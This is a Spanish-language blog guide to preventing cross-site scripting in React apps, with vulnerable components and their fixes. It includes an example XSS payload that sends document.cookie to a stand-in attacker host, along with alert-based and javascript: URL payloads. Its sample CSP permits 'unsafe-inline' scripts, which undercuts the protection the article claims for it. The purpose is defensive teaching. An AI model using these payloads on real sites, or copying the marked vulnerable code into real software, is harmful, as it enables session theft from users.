Seguridad en código IAprevenir XSS en React

XSS en Apps React - Guía Práctica de Prevención

Guía práctica para prevenir XSS en apps React: errores comunes, ejemplos vulnerables y formas reales de romper la protección por defecto.

9 de marzo de 2026
Vibe2Prod
8 min

Compartir

Siguiente paso

Si esto te toca de cerca, mejor mirar tu stack real.

Abrimos Calendly aquí mismo, sin mandarte antes a otra página.

Lo esencial

Este artículo está pensado para ayudarte a entender prevenir XSS en React sin ruido, y decidir si te conviene corregirlo tú o revisarlo antes de salir a producción.

Cross-Site Scripting (XSS) es cuando un atacante inyecta JavaScript en tu app para acceder a:

  • Cookies de sesión
  • Tokens de autenticación
  • Datos personales del usuario
  • Control completo de la página

React es mejor que otros frameworks para prevenir XSS. Pero puedes romper esa protección fácilmente si no sabes qué evitar.


Cómo funciona XSS en la práctica

Imagina un sistema de comentarios:

export default function Comments({ comments }) {
  return (
    <div>
      {comments.map((comment) => (
        <div key={comment.id}>
          <p>{comment.author}</p>
          <p dangerouslySetInnerHTML={{ __html: comment.text }} />
        </div>
      ))}
    </div>
  );
}

Un atacante comenta:

<img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)" />

Resultado: Todos los usuarios que lean ese comentario verán cómo se roba su cookie de sesión. En silencio, sin que nadie lo note.


React escapa HTML por defecto

Lo bueno: React escapa HTML automáticamente cuando usas JSX normal.

const maliciousText = '<img src=x onerror="alert(1)" />';

// React LO ESCAPA AUTOMÁTICAMENTE
<p>{maliciousText}</p>

// Renderiza como texto plano, no como HTML
// <img src=x onerror="alert(1)" />

El problema aparece cuando rompes esta protección intencionalmente (o sin saberlo).


Las 5 formas de causar XSS en React

1. dangerouslySetInnerHTML sin sanitizar

// ❌ VULNERABLE
function UserProfile({ bio }) {
  return <div dangerouslySetInnerHTML={{ __html: bio }} />;
}

// Usuario pasa: bio = "<img src=x onerror='alert(document.cookie)' />"
// → Se ejecuta el alert

✅ Solución 1: Sanitizar con DOMPurify

import DOMPurify from 'dompurify';

function UserProfile({ bio }) {
  const cleanBio = DOMPurify.sanitize(bio);
  return <div dangerouslySetInnerHTML={{ __html: cleanBio }} />;
}

✅ Solución 2: Evitar dangerouslySetInnerHTML

Si el contenido es solo texto, no lo necesitas en absoluto:

function UserProfile({ bio }) {
  return <p>{bio}</p>;  // React escapa automáticamente
}

2. Event handlers dinámicos con eval()

React protege event handlers automáticamente: deben ser funciones, no strings.

Pero si usas eval(), estás en peligro:

// ❌ SUPER VULNERABLE — nunca hagas esto
const onClickString = "alert('clicked')";
eval(onClickString);

✅ Solución: Nunca uses eval(), Function() o setTimeout(string).

3. Atributos href dinámicos

// ❌ VULNERABLE
function Link({ url }) {
  return <a href={url}>Click</a>;
}

// Alguien pasa: url = "javascript:alert('hacked')"
// El link ejecuta JavaScript en lugar de navegar

✅ Solución: Valida que la URL use http o https

function Link({ url }) {
  const isValidUrl = url.startsWith('http://') || url.startsWith('https://');
  
  return (
    <a href={isValidUrl ? url : '#'}>
      Click
    </a>
  );
}

4. Contenido traído de API sin validar

// ❌ VULNERABLE
useEffect(() => {
  fetch('/api/user-profile')
    .then(r => r.json())
    .then(data => {
      document.getElementById('bio').innerHTML = data.bio;  // ❌
    });
}, []);

Si la API devuelve HTML malicioso (por una brecha en backend), se ejecuta directamente.

✅ Solución: Sanitiza en el backend

// Backend (Node.js)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const window = new JSDOM('').window;
const DOMPurify = createDOMPurify(window);

app.get('/api/user-profile', (req, res) => {
  const user = getUser(req.userId);
  const cleanBio = DOMPurify.sanitize(user.bio);
  res.json({ bio: cleanBio });
});
// Frontend — usa textContent, no innerHTML
useEffect(() => {
  fetch('/api/user-profile')
    .then(r => r.json())
    .then(data => {
      document.getElementById('bio').textContent = data.bio;
    });
}, []);

5. JSON en script tags (Server-Side Rendering)

// ❌ VULNERABLE en SSR
function Page({ userData }) {
  return (
    <script
      dangerouslySetInnerHTML={{
        __html: `window.__INITIAL_DATA__ = ${JSON.stringify(userData)}`
      }}
    />
  );
}

// Si userData contiene </script>, puedes romper el contexto HTML

✅ Solución: Usa serialize-javascript

import serialize from 'serialize-javascript';

function Page({ userData }) {
  return (
    <script
      dangerouslySetInnerHTML={{
        __html: `window.__INITIAL_DATA__ = ${serialize(userData)}`
      }}
    />
  );
}

Checklist: ¿estás protegido?

  • [ ] ¿Usas dangerouslySetInnerHTML? Si sí, ¿sanitizas con DOMPurify?
  • [ ] ¿Todos los atributos href validan URLs (solo http/https)?
  • [ ] ¿Nunca usas eval() o Function()?
  • [ ] ¿Validas el contenido de la API en el backend antes de servirlo?
  • [ ] ¿Usas textContent en lugar de innerHTML cuando accedes al DOM directamente?

Herramientas de sanitización

| Librería | Uso | Tamaño | |----------|-----|--------| | DOMPurify | Sanitizar HTML en browser | 16KB | | xss | Librería ligera de sanitización | 50KB | | sanitize-html | Node.js sanitization | 90KB | | serialize-javascript | Serializar para script tags SSR | 5KB |

Mi recomendación: DOMPurify para React.

npm install dompurify
npm install --save-dev @types/dompurify
import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize('<script>alert(1)</script>');
// Resultado: '' (vacío — el script fue eliminado)

Content Security Policy (CSP)

La CSP es una capa extra de protección a nivel de HTTP headers.

// Next.js: next.config.js
module.exports = {
  headers: async () => {
    return [
      {
        source: '/:path*',
        headers: [
          {
            key: 'Content-Security-Policy',
            value: "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline';"
          }
        ]
      }
    ];
  }
};

La CSP reduce la gravedad de un XSS incluso si falla la sanitización. Es tu red de seguridad.


Resumen

XSS es prevenible si sigues estas reglas:

  1. React escapa por defecto — aprovéchalo al máximo
  2. Evita dangerouslySetInnerHTML — o sanitiza si lo usas
  3. Valida URLs en atributos — especialmente href y src
  4. Sanitiza en backend — no confíes solo en frontend
  5. Implementa CSP — capa extra de defensa

Si usaste Cursor o Lovable, revisa tu código. Probablemente encuentres dangerouslySetInnerHTML sin sanitización en algún lugar.

si quieres revisión profesional.


Referencias

[1] OWASP. (2024). Cross Site Scripting (XSS). https://owasp.org/www-community/attacks/xss/

[2] React. (2024). DOM Dangers. https://react.dev/learn/manipulating-the-dom-with-refs

[3] DOMPurify. (2024). Documentation. https://github.com/cure53/DOMPurify

Si ya estás cerca del lanzamiento, mejor revisar el caso real.

Podemos mirar auth, configuración, secrets, datos y deploy antes de abrir producción. En 30 minutos te digo si necesitas diagnóstico, auditoría o hardening.